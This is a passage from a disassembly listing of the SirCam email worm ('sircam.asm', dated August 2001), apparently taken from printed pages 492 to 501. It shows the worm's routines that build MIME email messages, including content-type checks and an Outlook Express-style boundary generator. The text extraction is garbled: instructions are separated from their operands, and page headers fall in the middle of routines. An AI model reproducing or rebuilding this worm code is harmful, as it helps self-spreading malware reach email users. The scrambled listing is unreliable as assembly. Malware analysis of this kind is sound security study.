; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_411F21
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411F36:
; DATA XREF: sub_411E58+C4\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_411F48
dd 2Eh, 0FFFFFFFFh, 0Bh ; DATA XREF: sub_411E58+3B\030o
aApplication
db ’application’,0
; DATA XREF: sub_411E58+9D\030o
dd 0FFFFFFFFh, 5
aMixed_0
db ’mixed’,0
; DATA XREF: sub_411E58+B2\030o
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_411F70
proc near
var_8
var_4
= dword ptr -8
= dword ptr -4
; CODE XREF: sub_411E58+2B\030p
; sub_411E58+7F\030p ...
push
mov
add
push
xor
mov
mov
mov
mov
call
xor
push
push
push
mov
lea
mov
call
lea
mov
call
mov
mov
mov
call
dec
jnz
mov
ebp
ebp, esp
esp, 0FFFFFFF8h
ebx
ecx, ecx
[ebp+var_8], ecx
[ebp+var_4], edx
ebx, eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_412008
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebx+4]
edx, [ebp+var_4]
sub_40351C
edx, [ebp+var_8]
eax, [ebp+var_4]
sub_406D54
byte ptr [ebx+10h], 3
edx, [ebp+var_8]
eax, offset aText ; "TEXT"
sub_4039B4
eax
short loc_411FC5
byte ptr [ebx+10h], 0
mov
mov
call
dec
jnz
mov
; CODE XREF: sub_411F70+4F\030j
edx, [ebp+var_8]
eax, offset aMultipart ; "MULTIPART"
sub_4039B4
eax
short loc_411FD9
byte ptr [ebx+10h], 1
mov
edx, [ebp+var_8]
loc_411FC5:
loc_411FD9:
; CODE XREF: sub_411F70+63\030j
sircam.asm
Fri Aug 10 12:42:44 2001
mov
call
dec
jnz
mov
eax, offset aMessage ; "MESSAGE"
sub_4039B4
eax
short loc_411FED
byte ptr [ebx+10h], 2
xor
pop
pop
pop
mov
push
; CODE XREF: sub_411F70+77\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_41200F
loc_411FED:
loc_411FFA:
sub_411F70
492
; CODE XREF: CODE:0041200D\031j
lea
eax, [ebp+var_8]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -14h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412008:
; DATA XREF: sub_411F70+1C\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_411FFA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41200F:
; DATA XREF: sub_411F70+85\030o
pop
ebx
pop
ecx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 0FFFFFFFFh, 4
aText
db ’TEXT’,0
; DATA XREF: sub_411F70+44\030o
align 4
dd 0FFFFFFFFh, 9
aMultipart
db ’MULTIPART’,0
; DATA XREF: sub_411F70+58\030o
align 4
dd 0FFFFFFFFh, 7
aMessage
db ’MESSAGE’,0
; DATA XREF: sub_411F70+6C\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_412048
proc near
var_1C
var_18
var_14
var_10
var_C
var_5
var_4
arg_0
=
=
=
=
=
=
=
=
dword ptr -1Ch
dword ptr -18h
dword ptr -14h
dword ptr -10h
dword ptr -0Ch
byte ptr -5
dword ptr -4
dword ptr 8
push
mov
push
push
push
push
push
push
push
push
ebp
ebp, esp
0
0
0
0
0
0
0
ebx
; CODE XREF: sub_412240+51\031p
sircam.asm
Fri Aug 10 12:42:44 2001
push
push
mov
mov
mov
mov
call
xor
push
push
push
mov
lea
push
mov
mov
mov
call
lea
mov
call
mov
lea
call
lea
call
mov
call
mov
test
jle
mov
493
esi
edi
[ebp+var_5], cl
ebx, edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_412143
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_C]
eax
cl, [ebp+var_5]
edx, ebx
eax, [ebp+var_4]
sub_40EDA4
edx, [ebp+var_14]
eax, [ebp+var_C]
sub_40F3B4
edx, [ebp+var_14]
eax, [ebp+var_C]
sub_403560
eax, [ebp+var_10]
sub_4034C8
eax, [ebp+var_C]
sub_403724
esi, eax
esi, esi
short loc_4120F3
edi, 1
loc_4120BC:
; CODE XREF: sub_412048+A9\031j
mov
eax, [ebp+var_C]
mov
bl, [eax+edi-1]
cmp
bl, 20h
jnz
short loc_4120D7
lea
eax, [ebp+var_10]
mov
edx, offset dword_41215C
call
sub_40372C
jmp
short loc_4120EF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4120D7:
lea
mov
mov
call
mov
lea
call
; CODE XREF: sub_412048+7E\030j
eax, [ebp+var_18]
edx, [ebp+var_C]
edx, ebx
sub_403670
edx, [ebp+var_18]
eax, [ebp+var_10]
sub_40372C
inc
dec
jnz
edi
esi
short loc_4120BC
push
lea
mov
call
push
push
push
push
mov
mov
call
; CODE XREF: sub_412048+6D\030j
offset dword_412168
edx, [ebp+var_1C]
al, [ebp+var_5]
sub_40EF00
[ebp+var_1C]
offset dword_412174
[ebp+var_10]
offset dword_412180
eax, [ebp+arg_0]
edx, 5
sub_4037E4
loc_4120EF:
; CODE XREF: sub_412048+8D\030j
loc_4120F3:
sircam.asm
Fri Aug 10 12:42:44 2001
xor
pop
pop
pop
mov
push
loc_41212D:
sub_412048
494
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_41214A
; CODE XREF: CODE:00412148\031j
lea
eax, [ebp+var_1C]
mov
edx, 5
call
sub_4034EC
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -48h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412143:
; DATA XREF: sub_412048+27\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_41212D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41214A:
; DATA XREF: sub_412048+E0\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 3
dword_41215C
dd 30323Dh, 0FFFFFFFFh, 2 ; DATA XREF: sub_412048+83\030o
dword_412168
dd 3F3Dh, 0FFFFFFFFh, 3 ; DATA XREF: sub_412048+AB\030o
dword_412174
dd 3F513Fh, 0FFFFFFFFh, 2 ; DATA XREF: sub_412048+BE\030o
dword_412180
dd 3D3Fh
; DATA XREF: sub_412048+C6\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_412184
proc near
var_24
var_4
= dword ptr -24h
= dword ptr -4
push
mov
add
push
push
push
mov
mov
call
xor
push
push
push
mov
xor
mov
call
mov
test
jle
mov
; CODE XREF: sub_412240+24\031p
ebp
ebp, esp
esp, 0FFFFFFDCh
ebx
esi
edi
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_41220E
dword ptr fs:[eax]
fs:[eax], esp
ebx, ebx
eax, [ebp+var_4]
sub_403724
edi, eax
edi, edi
short loc_4121F8
esi, 1
sircam.asm
Fri Aug 10 12:42:44 2001
495
loc_4121BB:
; CODE XREF: sub_412184+72\031j
push
esi
push
edi
mov
esi, offset dword_412220
lea
edi, [ebp+var_24]
mov
ecx, 8
repe movsd
pop
edi
pop
esi
lea
eax, [ebp+var_24]
mov
edx, ds:off_41DBFC
mov
cl, 20h
call
sub_402A44
mov
eax, [ebp+var_4]
mov
al, [eax+esi-1]
and
eax, 0FFh
bt
[ebp+var_24], eax
jnb
short loc_4121F4
mov
bl, 1
jmp
short loc_4121F8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4121F4:
; CODE XREF: sub_412184+6A\030j
inc
dec
jnz
esi
edi
short loc_4121BB
loc_4121F8:
; CODE XREF: sub_412184+30\030j
; sub_412184+6E\030j
xor
pop
pop
pop
mov
push
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_412215
loc_412205:
sub_412184
; CODE XREF: CODE:00412213\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -38h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41220E:
; DATA XREF: sub_412184+17\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_412205
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412215:
; DATA XREF: sub_412184+7C\030o
mov
eax, ebx
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dword_412220
dd 0FFFFFFFEh, 3 dup(0), 4 dup(0FFFFFFFFh) ; DATA XREF: sub_412184+39\030
o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_412240
proc near
; CODE XREF: sub_4122C8+58\031p
; sub_412A08+8C\031p ...
sircam.asm
var_4
Fri Aug 10 12:42:44 2001
496
= dword ptr -4
push
ebp
mov
ebp, esp
push
ecx
push
ebx
push
esi
mov
esi, edx
mov
[ebp+var_4], eax
mov
eax, [ebp+var_4]
call
sub_4038D8
xor
eax, eax
push
ebp
push
offset loc_4122B8
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
eax, [ebp+var_4]
call
sub_412184
test
al, al
jz
short loc_412298
call
sub_40EEAC
mov
edx, eax
mov
ecx, ds:dword_4122C4
mov
eax, [ebp+var_4]
call
sub_40F230
mov
ebx, eax
push
esi
call
sub_40EEAC
mov
edx, eax
mov
ecx, ebx
mov
eax, [ebp+var_4]
call
sub_412048
jmp
short loc_4122A2
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412298:
; CODE XREF: sub_412240+2B\030j
mov
mov
call
eax, esi
edx, [ebp+var_4]
sub_40351C
xor
pop
pop
pop
mov
push
; CODE XREF: sub_412240+56\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4122BF
loc_4122A2:
loc_4122AF:
sub_412240
; CODE XREF: CODE:004122BD\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -14h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4122B8:
; DATA XREF: sub_412240+16\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4122AF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4122BF:
; DATA XREF: sub_412240+6A\030o
pop
esi
pop
ebx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dword_4122C4
dd 3FFh
; DATA XREF: sub_412240+34\030r
sircam.asm
Fri Aug 10 12:42:44 2001
497
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4122C8
proc near
var_10
var_C
var_8
var_4
=
=
=
=
dword
dword
dword
dword
ptr
ptr
ptr
ptr
; CODE XREF: sub_412A08+107\031p
; sub_412A08+135\031p
-10h
-0Ch
-8
-4
push
ebp
mov
ebp, esp
xor
ecx, ecx
push
ecx
push
ecx
push
ecx
push
ecx
push
ebx
mov
ebx, edx
mov
[ebp+var_4], eax
mov
eax, [ebp+var_4]
call
sub_4038D8
xor
eax, eax
push
ebp
push
offset loc_41235C
push
dword ptr fs:[eax]
mov
fs:[eax], esp
lea
edx, [ebp+var_8]
mov
eax, [ebp+var_4]
call
sub_4114A8
lea
edx, [ebp+var_C]
mov
eax, [ebp+var_4]
call
sub_41140C
cmp
[ebp+var_8], 0
jnz
short loc_412315
mov
eax, ebx
mov
edx, [ebp+var_C]
call
sub_40351C
jmp
short loc_412341
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412315:
push
lea
mov
call
push
push
push
push
mov
mov
call
; CODE XREF: sub_4122C8+3F\030j
offset dword_412370
edx, [ebp+var_10]
eax, [ebp+var_8]
sub_412240
[ebp+var_10]
offset dword_41237C
[ebp+var_C]
offset dword_412388
eax, ebx
edx, 5
sub_4037E4
xor
pop
pop
pop
mov
push
; CODE XREF: sub_4122C8+4B\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_412363
loc_412341:
loc_41234E:
lea
mov
call
retn
; CODE XREF: CODE:00412361\031j
eax, [ebp+var_10]
edx, 4
sub_4034EC
sircam.asm
sub_4122C8
Fri Aug 10 12:42:44 2001
498
endp ; sp = -30h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41235C:
; DATA XREF: sub_4122C8+1A\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_41234E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412363:
; DATA XREF: sub_4122C8+81\030o
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 0FFFFFFFFh, 1
dword_412370
dd 22h, 0FFFFFFFFh, 2
; DATA XREF: sub_4122C8+4D\030o
dword_41237C
dd 3C22h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4122C8+60\030o
dword_412388
dd 3Eh
; DATA XREF: sub_4122C8+68\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_41238C
proc near
var_4
= dword ptr -4
push
mov
push
push
push
mov
xor
push
push
push
mov
call
mov
call
mov
push
lea
mov
mov
call
push
push
mov
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_412844+49\031p
ebp
ebp, esp
0
ebx
esi
esi, eax
eax, eax
ebp
offset loc_4123F2
dword ptr fs:[eax]
fs:[eax], esp
sub_4027C0
eax, 7FFFFFFFh
sub_4028F4
ebx, eax
offset dword_412408
ecx, [ebp+var_4]
edx, 8
eax, ebx
sub_40701C
[ebp+var_4]
offset a_outlook_expre ; "_Outlook_Express_message_boundary"
eax, esi
edx, 3
sub_4037E4
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4123F9
loc_4123E9:
sub_41238C
; CODE XREF: CODE:004123F7\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -20h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4123F2:
; DATA XREF: sub_41238C+C\030o
sircam.asm
Fri Aug 10 12:42:44 2001
499
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4123E9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4123F9:
; DATA XREF: sub_41238C+58\030o
pop
esi
pop
ebx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 4
dword_412408
dd 2D2D2D2Dh, 0, 0FFFFFFFFh, 21h ; DATA XREF: sub_41238C+28\030o
a_outlook_expre db ’_Outlook_Express_message_boundary’,0 ; DATA XREF: sub_41238C+3F\030o
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_41243C
proc near
; DATA XREF: CODE:0041A978\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_412478
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E668
jnz
short loc_41246A
mov
eax, offset off_41D76C
mov
ecx, 30h
mov
edx, ds:off_401000
call
sub_403BE8
loc_41246A:
xor
pop
pop
pop
mov
push
; CODE XREF: sub_41243C+17\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_41247F
locret_412477:
; CODE XREF: sub_41243C+41\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412478:
; DATA XREF: sub_41243C+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_412477
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41247F:
sub_41243C
; CODE XREF: sub_41243C+3B\030j
; DATA XREF: sub_41243C+36\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_412484:
; DATA XREF: CODE:0041A974\031o
sub
ds:dword_41E668, 1
jnb
short locret_4124C3
jmp
short locret_4124C3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
aOutlookExpre_3 db ’Outlook Express MIME messages encoding and decoding’,0
sircam.asm
Fri Aug 10 12:42:44 2001
500
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
locret_4124C3:
; CODE XREF: CODE:0041248B\030j
; CODE:0041248D\030j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_4124C4
dd offset dword_4124C8 ; DATA XREF: CODE:0041254E\031o
dword_4124C8
dd 4D540B0Eh, 48737365h, 65646165h, 1072h, 300h ; DATA XREF: CODE:004124C
4\030o
db 0
dd offset off_401000
dd 0
dd offset off_401000
dd 8
dd offset off_401000
dd 0Ch
align 4
off_4124F8
dd offset dword_412544 ; DATA XREF: sub_4190CC+AC3\031r
dd 2 dup(0)
dd offset dword_412544
dd 4 dup(0)
dd offset dword_412556
dd 1Ch
dd offset off_40100C
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_4125C4
dword_412544
dd 0Eh, 10000h
; DATA XREF: CODE:004124F8\030o
; CODE:00412504\030o
db 2 dup(0)
dd offset off_4124C4
dd 0Ch
dword_412556
dd 694D5409h, 654D656Dh ; DATA XREF: CODE:00412518\030o
db 2 dup(73h)
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_412560
proc near
; CODE XREF: sub_4190CC+AC8\031p
push
ebx
push
esi
test
dl, dl
jz
short loc_41256E
add
esp, 0FFFFFFF0h
call
sub_402CDC
loc_41256E:
mov
mov
xor
mov
call
mov
mov
call
mov
mov
mov
call
mov
mov
mov
call
mov
mov
; CODE XREF: sub_412560+4\030j
ebx, edx
esi, eax
edx, edx
eax, esi
sub_402BAC
dl, 1
eax, ds:off_40B8BC
sub_402BAC
[esi+4], eax
dl, 1
eax, ds:off_40BB68
sub_402BAC
[esi+8], eax
dl, 1
eax, ds:off_40BB68
sub_402BAC
[esi+10h], eax
eax, esi
sircam.asm
Fri Aug 10 12:42:44 2001
test
jz
call
pop
add
bl, bl
short loc_4125BD
sub_402D34
large dword ptr fs:0
esp, 0Ch
mov
pop
pop
retn
endp
eax, esi
esi
ebx
loc_4125BD:
sub_412560
501
; CODE XREF: sub_412560+4C\030j
